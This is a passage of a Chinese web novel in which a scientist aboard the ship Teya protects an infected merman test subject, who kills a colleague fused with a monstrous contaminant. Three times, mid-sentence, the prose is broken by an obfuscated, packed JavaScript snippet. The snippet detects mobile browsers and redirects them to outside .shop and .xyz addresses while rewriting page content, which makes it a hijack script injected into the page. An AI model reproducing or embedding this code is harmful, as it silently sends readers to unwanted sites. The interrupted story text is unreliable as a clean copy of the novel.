“我不认为现在让他回来是合适的,他才刚到忒亚不久,况且抗体的突破只是时间问题,那个数据连‘复生’的雏形都没够上,不是吗?” 首席点头,“是的,那份资料我看到了,可圈可点,但陛下的意愿是让他将人鱼转移回帝国继续实验,帝国能给予他的忒亚未必可以。” 听到这句话的奥凯西掀起眼皮淡淡地扫了一眼左上笑的像狐狸一样的人。 “你最好记得,我奥凯西的学生不是你们政权争夺的牺牲品,他是一心一意为了完成父母的意愿才接手‘复生’计划的。” 苍老的奥凯西即便是坐在轮椅中,那股威严仍不少半分。 他一直都拥有不可撼动的地位。 首席耸了耸肩很快放弃了,“我只负责传话,哦对了还有,陛下还意在指派人前往忒亚帮助晏越,这你也不同意?” 他看似随意,实则紧紧盯着奥凯西的每一个表情。 奥凯西靠回轮椅背,平静地说:“我相信我的学生。” 最后首席败下阵来,无奈地说:“ok,我知道了,但你要知道,你为你的学生拒绝了一个跻身上流成为万人敬仰的唯一机会。” 奥凯西指挥巴塞进来将他推走,留下一句话: “他会有更好的未来。” 待巴塞离开后,隐藏门后有一个人走到首席身旁问:“就这么放他走了?” 首席将眼镜拿来下,用丝织布仔细轻柔地擦拭,“那能怎么办呢,话说到这个份上他也不愿意退让,是铁了心拒绝了。” “这么多年他一直有意阻止我们靠近晏越,我们拿他没办法,况且他手里还有不少机密资料不知道藏在哪里,我们没法强来。” 首席扫了那人一眼,把眼镜重新戴回去后将手里珍贵的丝织布随意地抛在地上。 “奥凯西那个学生啊...的确是个不可多得的人才,可惜了。” 他感叹到,撑着下巴想起在实时同屏传输中看到的一幕后轻轻笑出声。 “那个谁,谁开的实时传输来着?” “拉斐尔家的末子。”旁边的人提醒道。 首席想了一会儿恍然大悟:“哦拉斐尔家的,也是个蠢货。” 说完,话锋一转,“不过倒是个合适的人选,前段时间拉斐尔家族闹出的丑闻也好拿捏。” 那人问:“要让他去拉拢晏越吗?” 首席听后嗤笑一声,“晏越的脾气太孤傲了,拉拢不来,不过这性格可真像他那惨死的父母,算了,试试能不能行吧,不行就算了。” 那人抬头看向他,等他接下来的话。 “这种人放在我们对面可不行,如果得不到就毁了吧。” ... 走进观察室的晏越第一感觉是冷,这里冷的出奇。 温度表蒙上了一层薄霜,这里显示在零下三度。 正在调整温度的手突然一顿,感应到什么后猛地回头,看到赫瑞斯正在身侧静静观察着他的一举一动。 黑色的纹路像错错综复杂的树根蔓延到它的肋骨,伸出枝丫攀爬到它锋利的下颌角。 原本蔚蓝色的瞳仁此时漆黑如曜石,肌肤也覆上了一层类似于鳞片的黑色物体,但奇怪的是它的耳鳍却是赤红的,红的像是要滴血。 晏越一震,已经蔓延到这个地步了吗? “赫瑞斯,你冷吗?” 他不动声色摸到兜里的控制器,只要轻轻按下那个按钮,人鱼便会被电流麻醉放倒。 但他要确保赫瑞斯此时是无自主意识的。 因为即便是强壮的人鱼,这种电流也会对它的身体造成不必要的伤害。 赫瑞斯隔着一层玻璃,眯眼注视着他,在同他对视的那一刻咧开嘴笑了起来。 “我饿...” 很好,还有自主意识。 晏越松开了控制器。 “我去给你拿。” “不...要鱼。”赫瑞斯的声音传来。 晏越停住脚步看向它,等待它接下来的回答。 蹼爪不知何时贴在了钢化玻璃上,以另一个角度看似在轻抚人类的脸庞。 它说:“要...你...” 不要鱼,要你。 晏越皱起眉,纠正它的话:“要血?” 赫瑞斯不再说话,视线浓稠又热烈。 它看着玻璃外的人类将培养皿的门打开,等候多时般撑着岸边就要跃起。 肩膀被一个温润的手掌轻抵住,阻止进一步的靠近。 “不要上来,就在水下。” 它虽有不耐,但还是听从了人类的话回到水中,只是蹼爪顺势捏住了他的手腕。 处在成熟期的赫瑞斯身形不断变化着,成年男性人类的手部骨骼在它的蹼掌下显得有些小。 晏越感觉掌心有些痒意,他看到人鱼的鼻尖划着他的中指指尖落到掌根。 那双漆黑的瞳乍一下睁开,注视着自己,声音中听不清情绪。 “味道,不一样...” 晏越反问:“什么味道?” 但他很快想起来,在进研究室前他给烟灰蛸换了个更大的水池,或许是那个时候沾染了烟灰蛸的味道。 人鱼对味道很敏感,烟灰蛸又跟赫瑞斯一样是从污染物进化而来,甚至是用了赫瑞斯的血制成的抗体药剂。 严格意义来说它们溯本同源,因此它能分辨出来味道是正常。 “你讨厌这个味道?”他问。 掌根处细微的呼吸喷洒沿着青紫的血管顺势而下,激起他肌肤的一片激灵。 这太近了,他从未跟人有过这么近距离的接触,不由得抽回手。 手腕并没有被用力桎梏因此很容易就挣脱开。 人鱼的舌尖舔舐过嘴角,邪魅的视线配着身上的黑色花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14010293|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹,充斥着说不出的鬼魅感。 它逐渐靠近他,鱼尾托举起精壮身躯,轻而易举便高过了半蹲的他,达到了需要仰视的高度。 “你,想让我讨厌吗?” 这个答案出乎了晏越的意料,甚至一时没反应过来。 人鱼将答案选择权交给了人类。 “那如果我说不想呢?” 他不着痕迹向后退了一步站起身,两人的地位高度瞬间颠倒,他重新俯视着水中的人鱼。 人鱼抿着嘴角,仰着头忽然邪邪地笑起来,一字一句说: “那就,不讨厌...只要你...喜欢...我也是,一样。” 晏越的镜片折射出冰冷的光,语气平静毫无感情: “喜欢?你知道什么是喜欢吗?在这里你没有自主选择喜欢的权利。” “嗡——” 还没等到赫瑞斯的回答,尖锐刺耳的警报器瞬间环绕在整个研究室,红色的警示灯晃在水中,映着它身上的纹路格外邪性。 水中的人鱼皱起眉头,浅浅地嗅了一下,眼尾染上警惕的神色。 它用蹼爪抓住了他的小腿,紧箍着让他无法挣扎。 “别,出去...” 它说。 ... “什么东西,怎么回事!” 格雷西手一哆嗦差点把手里的电脑砸了,那可是比他命还重要的东西,吓得他不顾形象扑在地上接住,带倒了一片凳子。 谈寺一跃而起冲到联络器旁,“污染物入侵了,不,不是污染物入侵...是三层的实验体病变了。” “病变?” 格雷西大叫出声疯狂收拾东西,“靠北!哪个蠢蛋让实验体病变了!” 谈寺一脸黑线,决定有时间一定要跟格雷西说不要乱学船上的亚裔学者们骂人。 “是一只变异虎鲸,现在正在三层边缘游走,这种等级的污染物研究室扛不住,得撤离,我去叫学长,你收拾机密资料!” 谈寺推开观察室的门大喊晏越让他快点离开,却见水中一个黑影猛地跃起。 晏越刚跨一步便感觉踩到了一个滑腻的鱼尾,不受控制地向后倒。 精壮的手臂如铁牢般将他横亘在怀中,头也被牢牢地扣在胸前,整个人被笼罩在人鱼湿漉漉的怀抱中。 它阴沉地看着面前的不速之客,那模样就是被入侵领地雄性,护着怀中属于自己的东西,喉咙中发出低沉的低鸣警告。 谈寺被赫瑞斯的威慑力震慑到,脸色一变。 但他很快反应过来,迅速从腰间拔出枪指向人鱼,声音中染上了愤怒:“离他远点!” 赫瑞斯眼神森冷,喉中的低吟像是一连串的诅咒,穿透耳膜。 谈寺的眼神让晏越不怀疑下一秒真的会开枪,他高呵一声:“谈寺!” 举着枪的人如梦初醒,看着面前的场景却不甘心就这么将枪放下,人鱼似是挑衅的表情让他极度不爽。 他知道这条人鱼对晏越意味着什么,理智强压怒火缓缓将枪放下。 晏越皱着眉想要脱离赫瑞斯的桎梏,可那只手臂仍牢牢箍在他身前,他只能向后肘击人鱼的腹部,冷漠开嗓:“松开。” 这种痛对赫瑞斯来说不痛不痒,但它还是缓缓松开了他,却仍在他不近不远的距离,警惕地盯着面前的谈寺,一副蓄势待发的模样。 19. 第 19 章 回到研究室的凯文一直魂不守舍,有人怜悯地看了他一眼。 当警报猛地响起,周围开始乱哄哄吵闹起来,叫喊着什么实验体病变,拼命的收拾起重要资料。 凯文敏锐地意识到了什么,因此只有他没有第一时间收拾资料,反而是冲到了走廊去看。 有人喊:“凯文你不要命了!赶紧收拾东西快跑啊,等污染物过来了你资料没了命也丢了!” 凯文无动于衷,看到那个方向认定污染物是从哪个方向来的后,回头望了一眼。 研究室里的人都在疯狂收拾东西,还有人一边抱着资料一边跑,满地都是纸,连特温和他的助手都忙的不可开交。 特温怒骂着,灰色的长发凌乱无比。 没有人注意到凯文的异常。 再回头时,凯文看到了一个黑色的身影,不断滴落着腐蚀性的液体正高速向这里冲来。 他一咬牙没有丝毫犹豫跑了出去,只是那个方向并不是逃生的方向。 ... 屋外的格雷西尖叫一声,屁滚尿流冲了进来迅速将门牢牢关上,甚至用脚抵着门,死死拽着门把手。 “这什么污染物,太恶心了!” 晏越问:“防卫系统打开了吗?” 格雷西脸色煞白,刚张开嘴就想到污染物的样子疯狂干呕。 “那虎鲸...长了一张人脸,呕!太恶心了,上帝耶稣救世主,我发誓我这辈子没见过这么恶心的玩意,那不是人类认知存在的东西!” “别呕了,问你防卫系统呢,不打开防卫系统你人进来也没用!”谈寺顾不上赫瑞斯,连忙问格雷西。 格雷西终于冷静下来,吞吞口水艰难地说:“放心吧,我打开了才进来的。” 话音刚落,屋外传来剧烈的爆炸声,守在晏越身边的赫瑞斯迅速蛇行到门缝处轻嗅,喉咙低吟嘶吼。 谈寺:“你真的打开了吗?” 格雷西连怕都忘了,陷入无止境的自我怀疑中:“我确定我打开了啊!” 屋外又传来爆炸声,晏越神色一凛,“这个程度的污染物防卫系统也撑不了多久,我去拖住他,你们赶紧走。” 晏越的话让两个人当场反驳,但他不容置疑地说:“这一层的爆破系统只有我知道怎么启动,你们再拖下去谁也不用走了。” 格雷西还想说什么,却被谈寺一把拦下,他定定地看着晏越说:“保护好自己。” 门被猛地拉开,屋外的污染物听到异响后扭动着脖子费劲地转过来。 屋里的人分两个方向逃离,但它的目标却精准地定位到了晏越身上。 疯狂向外奔跑的谈寺和格雷西二人在走廊看到了一个熟悉的身影,那个身影跌坐在墙边。 格雷西一着急想要拉着那个人一起走,却被谈寺死死摁下。 他这才看到那个身影只有上半身,从腰开始截断,下身不知所踪。 截断的伤口并没有出血,而是散发着诡异不详的黑绿色。 格雷西吓得大骂一声,眯起眼睛看到是谁后惊恐的说:“凯文?!你怎么搞成这样。” 凯文此时已经神志不清了,听到熟悉的声音后疯狂地想要抓住格雷西的衣角,但因为无法挪动只能摔倒在地。 他用双手爬向格雷西的方向,那个场面怎么看怎么瘆人。 “你你你你你别过来你就在那边说!” 凯文听到后看了一眼自己的下半身,意识到自己已经被感染后苦笑一声,“教授,晏越教授,快让他离开那里!” 谈寺皱起眉,“什么意思?” 凯文呕出一口黑色脓血,血呛住了他的喉咙,他猛地抹了一把嘴边的血继续说: “那个东西是阿道夫弄出来的,他走投无路拿你们失败的试验品去融合虎鲸,虎鲸失败了,他就把虎鲸吃了让自己跟虎鲸融合!” “你怎么知道是阿道夫搞的?” 凯文继续说着:“那个东西会说话的,他说自己是阿道夫,第一个就来找特温·拉斐尔报仇,研究室里已经死了不少人了,特温本来也难逃一死,但他命好,有个助手垫背,阿道夫发了疯了!” 格雷西瞠目结舌:“你的意思是阿道夫和虎鲸还有污染物融合了,而且还能记住要找谁报仇?” 此时凯文的伤口已经分裂出密密麻麻如菌丝般的东西,正在迅速向上爬不断包裹着他的躯体。 污染逐渐腐蚀着他的心智,他强撑着对两个人喊:“他肯定会去找晏越教授的,你们快点提醒他让他快跑啊!” 他的双眼开始蔓延黑色的踪迹,声音也变得断断续续,音调诡异,似婴儿啼哭。 “帮我跟...教授说一声,谢谢他...如果有下辈子,我一定选择跟他一起...做实验...” “妈的!” 谈寺终于意识到起初觉得不对劲的地方是在哪里,大骂一句向着来时的方向跑去。 留下来的格雷西看着凯文的眼珠脱落,眼眶冒出黑色的菌丝状物体,皮肤也开始融化。 恐怖又恶心,却又很可悲。 他最后的话是:给我一个痛快吧。 格雷西深深的吸了口气,扣响了人生第一声扳机。 ... 晏越也在这时发现了为什么格雷西这么抗拒。 因为跟污染物融合的那张人脸虽然腐烂了一半,但还是能依稀分辨出模样。 那是阿道夫的脸。 它通黑的肌肤上竟然生出了三对人类的眼睛,仔细看去,腹下还有三条长长的东西。 那看起来有点像虎鲸的鳍,也有点像人类的肢体 晏越看到阿道夫的脸后瞬间就猜到了发生了什么,翻身躲过飞来的桌椅大喊:“赫瑞斯,回去!” 余光中看到了那只类似于人类肢体的部分即将碰到自己的衣角。 就在这时,一只遍布黑色纹路的鱼尾迅猛袭来掀倒了污染物,锋利尖锐的蹼爪指甲轻易的划开了污染物的一只眼睛。 “咯咯咯——”污染物尖叫着迅速后撤,疯狂扒拉着脑袋。 疼痛让它突然清醒过来,晏越听到了人类的断断续续的声音。 那是人类意识被污染物腐蚀,正在争夺躯体控制权的证明。 “晏越....你...没想到自己...也会有这么一天..吧....” 阿道夫的声音虚弱又诡异。 “喜欢...我这个样子吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14027603|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...强壮,又,美丽,比人类的身躯强壮太多了!我从未感觉到,如此痛快!的感觉!” 他大笑着挥舞着丑陋的手臂,俨然是已经堕入了地狱,可自己全然不知,沉浸在跟污染物的融合之中。 之前有过这种案例。 污染物容易侵蚀人的意志,无论是人类还是动物一旦被感染,力量将大幅提升、痛觉逐渐退化、大脑高度兴奋陷入无尽的快乐之中。 因此临床试验的志愿者都是经过训练的意志坚定之人。 即便是这样也会有人被这种虚幻的力量迷惑,在人与污染物中选择成为后者。 起初他们的本体意识尚存在,但随着污染的逐渐加深,最终会变成没有自主意识只会攻击的污染物。 晏越冷眼看着面前这个非人非鬼的生物,毫不留情批判:“你是我见过最丑的垃圾。” 阿道夫只剩下半张的脸狰狞的裂开,随着他的动作,面部皮肤像是风化的石墙一般扑簌簌地往下落。 “那你就...跟你的人鱼...一起陪葬吧!” 他一边无所谓的大笑,一边凶狠地袭击起赫瑞斯来。 “不是,看重,这条...人鱼吗?那我就,杀了它,给你看看!” 被阿道夫改进过后的污染物力量大增,生出的那对鳍上遍布着狰狞的利齿,每挥舞一下就击穿了地板。 但他没想到这样的力量终究不敌面前这条人鱼。 赫瑞斯游刃有余地撕裂污染物的身躯,已经不能称为金色的鱼尾上沾染了数不清的黑红血迹。 它一副玩味的表情,轻松地享受这场单方面的厮杀。 鱼尾支撑起的身体在地面上有两米多高,俯视着面前丑陋的融合污染物。 它很嫌弃,甩动尖锐的蹼爪将指尖那些脏污甩净,然后嫌恶地看了一眼那滩血迹。 阿道夫狰狞着一张脸,咆哮着冲向人鱼却被坚硬的鱼尾扫着砸了出去,木屑崩裂满地。 他起初并不相信赫瑞斯竟有如此恐怖的力量,但似乎看来这只人鱼拥有着更为恐怖的力量。 人鱼并没有主动攻击,每一次都毫不费力又恰到好处地躲过攻击,然后用戏谑的眼光看着他笨拙的攻击。 他气急,眼光突然扫到一旁的晏越,想到了什么,迅速卷着一根散落的木刺冲着晏越的方向刺了过去。 晏越忙向一旁扑去,那根木刺顺着他的腰侧滑了出去。 就在这时,阿道夫腹部一直藏着的一只手突然疯狂挥舞着,闪着冰冷的金属色泽,赫然是一把枪。 穷途末路的阿道夫像疯狗一样拼了命地攻击赫瑞斯,藏在腹下的手臂疯狂向晏越扫射。 晏越虽然躲开了那根木刺,但流弹还是划破了他的腹部,密密麻麻地扎在了墙壁上。 撕裂的痛意从腰腹部席卷而来,他闷哼一声跌跌撞撞倒在一边,捂着伤口扶住墙。 阿道夫尖锐刺耳的笑声环绕在整个研究室。 “我这次可是..会用枪了...你躲...什么!” 青年苍白且纤长的手指在洁白的墙壁上划了刺眼的红。 赫瑞斯之前那种戏耍猎物的玩味笑容顿时消失,取而代之是一种决绝的杀意。 20. 第 20 章 阿道夫发现自己打中了后癫狂大笑着,不尽兴似得疯狂继续扫射着直到弹夹被彻底打空。 只可惜他腹部的肢体实在是太矮了,流弹只扫到了晏越一次,其他的都被打到了墙壁上。 “哈哈哈,咕嘎——” 阿道夫的笑容戛然而止,他听到噗嗤一声,缓缓低头看到一只似利刃般的蹼爪刺穿了自己的胸口。 他顺着向上看,注意到它手臂上蜿蜒曲折的黑色纹路,脖子喀拉喀拉扭成一个诡异的弧度。 半晌,他像发现新大陆一样惊喜地大叫。 “你...你的身上...” 意识到了什么后,阿道夫肆意大笑起来。 “晏越!你居然...用一只被感染过的人鱼...做实验...你也是个骗子...你骗了这里所有人!我要揭穿你——” 他兴奋激动地扭头对着人鱼喊叫,脸上的皮肤扑簌簌地往下掉落。 “你也被他骗了...他故意感染了你...最后再杀了你!” “所有的...人鱼,最后都会被,处理消杀...你!也不会例外...而你居然还在,保护他?” 说到最后,阿道夫甚至做了一个诡异的笑脸。 靠在墙边的晏越只能看到一个高大的背影,他们都看不清彼此的面容。 充血的视野中,染黑的尾鳍轻轻扫了一下。 “你能听懂...人类的话,是吗?”阿道夫的语气急切起来。 “那你就,更应该,杀了你身后的那个人类...我们才是同类...我们比人类,比人鱼,比所有的生物都更强,这个世界,就是我们的——” 话还没说完,尖锐的蹼爪毫不留情的将他的身躯横着撕裂两半,浓黑色的血雾顿时喷洒出来。 “诶?” 直到视线下落坠落在地,看着自己另一半身躯,阿道夫还没反应过来发生了什么。 一阵剧烈的刺痛让晏越从大量失血的混沌中清醒过来。 手腕的机械手臂监测到躯体濒死的昏迷状态后自动释放了刺激。 他看到赫瑞斯如巨蟒一般从阴影中缓慢蛇行而来。 面前的是一只没有人性的野兽,残暴嗜血。 垂在身旁的手费劲的想要撑着自己起来,但能做到的也只有把自己的身子正过来而已。 他不认为人类简单的话语就能打动或是改变一只人鱼,无论是阿道夫还是他,所以根本不必说。 现在是它逃离的最好时刻。 同样,赫瑞斯也面临着逃离的选择,一旦逃离那它的污染将会彻底爆发,结局跟阿道夫无二。 人鱼高傲,不会屈服于任何物种。 晏越费力的仰起头,平静地对它说:“感染爆发只需要20小时,换句话说离开了这个地方,没有任何人能救你。” 它在微笑着,可那笑容却并非简单的笑,深不见底,隐约有些期待和玩味。 那只滴血的蹼爪缓缓伸向自己,晏越感觉眼皮沉重无比,胳膊也无力抬起,他并没办法迅速逃离人鱼的面前。 此时他的眼睛紧紧盯着它脖颈处的项圈。 只需要碰到侧面的按钮,一旦通过了指纹认证,项圈会自动收紧。 赫瑞斯的力量他是见识过的,如果它失控逃离,那这艘船上所有的人都难逃一死。 但在即将抵达面前的蹼爪停了下来。 金色的脑袋俯下来,视线在他受伤的腰腹部梭巡。 它轻而易举地划破了晏越的衣服,鼻翼轻柔地从肋骨上方一寸寸顺势而下蔓延到他的腰窝。 湿漉漉的长头散在地板上,像海草般。 仿佛他此时并不是坐在木质地板上,而是滩底。 “你...受伤了。” 下一刻,他感觉温润柔软的舌尖缓慢又轻柔地舔舐着那个伤口。 他本能的想要抗拒,但理智告诉自己,人鱼的唾液中具有刺激愈合的成分,这是许多药剂无法达到的效果。 人鱼的舌十分灵巧,在伤口内部打着转将那个弹片卷了出来。 他因为疼痛不由得闷哼一声,身体不由自主开始痉挛,强迫自己压抑本能的抗拒,凭借强大的意志力扛了下来。 冷汗飞快浸透了他的后背,模模糊糊中听到弹片坠落到地板的声音。 伤口的疼痛开始减轻,取而代之的是一种凉爽的痒意。 赫瑞斯将口中温热香甜的血尽数吞咽下去,继续轻柔的舔舐着那个伤口。 “...行了。” 晏越想要推开那个湿漉漉的脑袋,但四肢沉重的无法抬起。 清醒过来的他实在有些无法接受这种野蛮的行径,原始又古老。 赫瑞斯听到他的声音后,抬起了头,眼中有些迷惑。 对人鱼这个物种来说,这种替同伴疗伤的方式并没什么不对劲。 晏越低垂眼眸看到赫瑞斯棱角分明的眉骨和高挺的鼻梁,浅色的睫毛模糊了那双漆黑的瞳仁带来的森冷。 它此时温柔到跟刚才那个将阿道夫的躯干撕裂的人鱼俨然是两个模样。 察觉到晏越眼中一闪而过的恍惚,它唇角不经意间勾起,似乎在为自己诱捕猎物成功而感到愉悦。 ... 当军部的人赶到时,一片嘈杂的声音中只听到不知道谁喊了一句“等等!” 他们看到了那个污染物,只是污染物此时有一半身子是消失不见的,而它不远处的人鱼就在墙壁旁。 在它笼罩的阴影处,亚裔青年敛眸捂着腰腹部的伤口跌坐在地。 融合过的污染物还想最后发起进攻,反应快的士兵还未来得及开枪,一个黑影一扫而过。 视线回归时只看到它的蹼爪仍在滴着黑色的血。 一只看不出模样的头颅被它随手一抛,咕噜噜地滚落到士兵脚边,空洞洞的眼眶中没有眼睛。 隔着近的人感觉到有一个凉凉的东西扫到了自己脸上,颤抖着手摸了一把脸,把那个黏糊糊的东西拿下来。 恐惧让他忍不住想要去探究这是什么,可就当他低头看清那东西后,整个嘴唇都吓白了。 那是一只破碎被刺穿的眼。 士兵大叫一声甩开手里的脏东西跌坐在地,拼命的后退想要逃离。 “污染物!我被污染物感染了!救命啊!!” “蠢货!闭嘴!”布拉德利叼着烟一把推开挡住的人驳斥道。 他刚从温柔乡里被警报器吓醒,差点没吓出来个好歹,胡乱抓起衣服套上就赶过来,现在整个人都怒气冲冲的。 当他赶到污染物所在地并发现这里是晏越的研究室时,忍不住大骂出声。 “妈的,怎么偏偏在这个时候。” 偏偏是在这里。 莫里·亚当斯昨夜秘密出行离开忒亚,三日后才能回来。 晏越出了事别等回到帝国,莫里·亚当斯回来就能给他就地枪决。 布拉德利一脚踹翻在前面瑟瑟发抖的人,顺势把枪抢了过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044191|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “滚开,怂货!这东西都弄不死留你干什么,滚回去找你外祖母!” 拿到枪的布拉德利看到面前一幕连嘴里叼着的烟都忘了,烟灰掉落到手背上被灼烧感刺痛才恍然惊醒。 旁边的士兵看到这一幕大叫着:“人鱼,人鱼在保护他!” 随着一声声大叫,所有人的视线被吸引过去。 他们看到那只偌大的海底巨兽守在一个人类面前,低下了头颅靠近看着他的伤口。 它低垂的金发染上了黑红的血迹,蹼爪虽然是微举着但却未靠近人类所在地半分,乌黑的血迹恰好滴落在他面前。 有人看呆了,喃喃道:“人鱼,是在干什么?” 阿道夫和虎鲸融合的尸体早就被劈开两半,此时在一旁咕噜噜的冒着泡。 有人似乎还能听到阿道夫虚弱的求救声,但很快那点声音也消失殆尽了,他们都被面前的一幕震撼吸引到,没人在乎他的求救。 布拉德利扫了一眼那滩尸体又迅速看向晏越的方向。 看到人还活着终于松了口气:“还愣着干什么,赶紧把人救出来!” 在士兵靠近的瞬间,人鱼冰冷的视线扫了过来,让所有人都不寒而栗。 那双眼睛漆黑无比,它的身上爬上了诡异的黑色纹路。 很难想象面前这个恶魔一样的人鱼,居然是他们曾经看到的拥有天使般貌美模样的那只。 “它它它它怎么这个样子了?” “那一滩东西是它弄的吗?” 青年似乎跟它说了什么,人鱼的视线从他们的身上挪开了。 布拉德利混沌的眼珠转了一下,明确看出了它身上的感染痕迹,“人鱼被感染了,即刻击毙!” 捂着伤的晏越抬眼冷冷地看了一眼布拉德利。 敏锐地感受到了守护之人的敌意,人鱼脊背微拱,张开双臂呈现出攻击状态,低鸣吼叫警告面前的士兵。 有些人抬起枪的手颤抖起来,干吞了吞嗓子,求助般的看向布拉德利。 “舰长,怎么办,那只人鱼不允许我们靠近!” 靠着墙的青年神色锐利看向布拉德利,此时架在鼻梁上的镜框早在奔逃的途中不知丢到了哪里,眼底的威慑意味更显。 “实验还未结束,谁敢碰它?” 偌大的研究室中,脸色苍白的青年和一只凶残暴戾的人鱼一起形成了一副诡异却又意外和谐的油画。 这让不少士兵颤抖着举着枪不敢继续向前。 “不要杀他们。” 失血让晏越迅速失去全身的力气,他没有回答赫瑞斯的话。 赫瑞斯并不理解晏越为什么这么说,一身暴戾的凶狠无处释放只能压抑,蹼爪轻轻抽动,最终艰难地收缩起来。 笨拙且迟钝的武器不能伤到它,它可以将这里的人全都杀了。 “我..一样能..救你...” “为什么....?” 晏越已经没力气说话了,捂着腹部伤口的手微微颤抖。 它不理解,但它还是照做了。 人鱼森冷的眼神扫过在场的人。 跟这股视线对上的人无一没有来自心底的震撼颤抖,那种感觉像是灵魂都被恶魔暗中做了交易。 他们确信如果它面前的人类死亡,这只人鱼也会顺势发疯将他们撕碎。 在晏越失去意识前,他听到布拉德利大喊: “人鱼放弃攻击了,把它绑起来!快点把人救出来送去医疗室!” 21. 第 21 章 在一片模糊的潮湿之中,世界万籁俱静,他起初只能闻到浓郁的血腥味、感受到力量从身体的流逝,手逐渐冷了。 然后有一阵海浪将他席卷着带回温暖的巢穴,像世界最开始的地方,一片白茫茫,砂砾纷飞。 海浪拍打在礁石上,潮汐又将他从海里送回岸上,那些停滞的声音在这一瞬间如潮水般兜头而下。 他本能的皱起眉头蜷缩手指,似乎不想离开那个安静又温暖的地方,但海浪毫不留情地将他分开。 他只来得及勾动食指,最终脱离了那片潮湿。 醒来看到熟悉的医疗室天花板,晏越缓缓过神来动了动手指,扭着僵硬的脖子看到守在床边魂不守舍的格雷西。 “...格雷西。” 一开口沙哑的嗓音连自己都怀疑了一下。 格雷西愣住,脸上的表情由忧转喜从凳子上蹦起来,“教授你醒了,我出去叫人啊,你千万不要动!” 还没等晏越阻止,格雷西就蹿了出去,再次回来身后还带着医生和莫里。 医生为他检查了一番,确定没问题后嘱托他好好休息就出去了。 莫里并没有跟随医生离开,在角落处抱臂而立,晏越对他点了点头示意。 莫里的脸色不算太好,难得板起了脸破天荒冷笑一声:“你胆子不小。” 晏越知道他在说什么,不解释也懒得解释,索性换了个舒服的姿势继续躺着。 格雷西满脸愁容,怎么看两个人的气氛都比较尴尬,可他又没有立场和资格跟莫里叫板。 望着晏越的眼神明显是想说什么但又不敢说,整个人都支支吾吾的。 他只能帮晏越把床板抬高,调整了一个比较舒服的姿势,做完这些又坐回去不知道干什么。 “人鱼呢?” 格雷西偷摸扫了一眼莫里说:“被布拉德利关在甲板最下面的封闭舱。” “他要消杀人鱼,谈寺着急拦他把他打伤了,也被关了。” 说完他又迅速提了一嘴,“本来还要处罚谈寺的,还好上校回来了,这事就不了了之了。” 晏越昏迷了三天,这三天里内忒亚里的风向急剧变化。 甲板最下层的人鱼陷入狂暴状态,又因处于成熟期,散发出的磁场气息已经波及到了周围的海域。 忒亚在这三天经历了鱼潮、见证了群鲸的求偶也目睹了海洋生物环绕军舰导致军舰前行速度急速下降。 有学者对此表示非常震惊,要求忒亚在水面航行进行观察。 他们发现鱼群和鲸群被人鱼的成熟期吸引,天然靠近并促进了小规模的发.情.期,甚至连天上的海鸥都增多了。 这是从未有过的壮大场面。 但他们很快发现鱼群和鲸群的行为并不稳定。 它们焦躁地围着忒亚周围的海域不肯离开,甚至会有因狂躁而种族斗殴的情况出现。 这已经脱离了以往的常识,唯一能解释这个现象的,只有舱底被关押的人鱼正处于成熟期。 格雷西感觉到气氛的僵持,找了个借口一溜烟跑没了影。 莫里拉开凳子坐下,看到床上的人敛眸不知道在想什么。 “医疗室这里都是我的人,说说你到底是怎么想的吧。” 清冷的眸子这才有了一丝波澜。 “完成‘复生’计划,这不是很明确的目标吗?” 褐色眸子里映出面前人的倒影。 这个脸色苍白身体虚弱的亚裔青年纵使是躺在病床上也没半分示弱,像一匹孤狼,但却游刃有余。 要不是他看过医生给的报告还真就信了。 他轻轻嗤笑一声,“明确什么,明确你的内脏器官超负荷运转,还是明确还没到‘复生’计划完成的那一天你这身体就撑不住了,或者更简单点。” “你连极地区域都撑不到。” 深邃的黑色瞳仁骤然划亮了,看得清里面分明的警惕与凌冽。 莫里从上衣口袋里拿出一张灰白色几乎要看不清的老式照片,边上的花纹都被磨掉了好几个棱角。 照片里是一个模糊的基地图,只能看到大体的轮廓以及后面的断崖。 别人可能不知道,但晏越很熟悉。 这个基地站早已荒废没落,从地图中被永久抹去了存在的痕迹,现在没人可以找到。 即便是在从前,这个基地也很难找到。 它建立在茫茫冰原之上,一个随时可以起雪暴的地方,更何况那片冰原在一次地震中已经消失了。 他的声音冷清。 “从哪弄来的。” 莫里微微抿起嘴角将照片递给他,显然对他这个反应很满意。 “有消息说基地在距离沉没海域不远的地方出现,我的人正在搜索这个地方,如果有消息会第一时间通知你。” “但是作为回报,晏,你得告诉我你那条人鱼到底是怎么回事,你能控制污染吗?” 莫里褐色的眼睛暗藏风波,紧紧盯着晏越的一举一动。 老式照片摸着有些粗糙,断崖几乎都看不清了,似乎隔着时间的缝隙散发出寒冷刺骨的气息。 “当然不是,我没那么大的能耐。”他说。 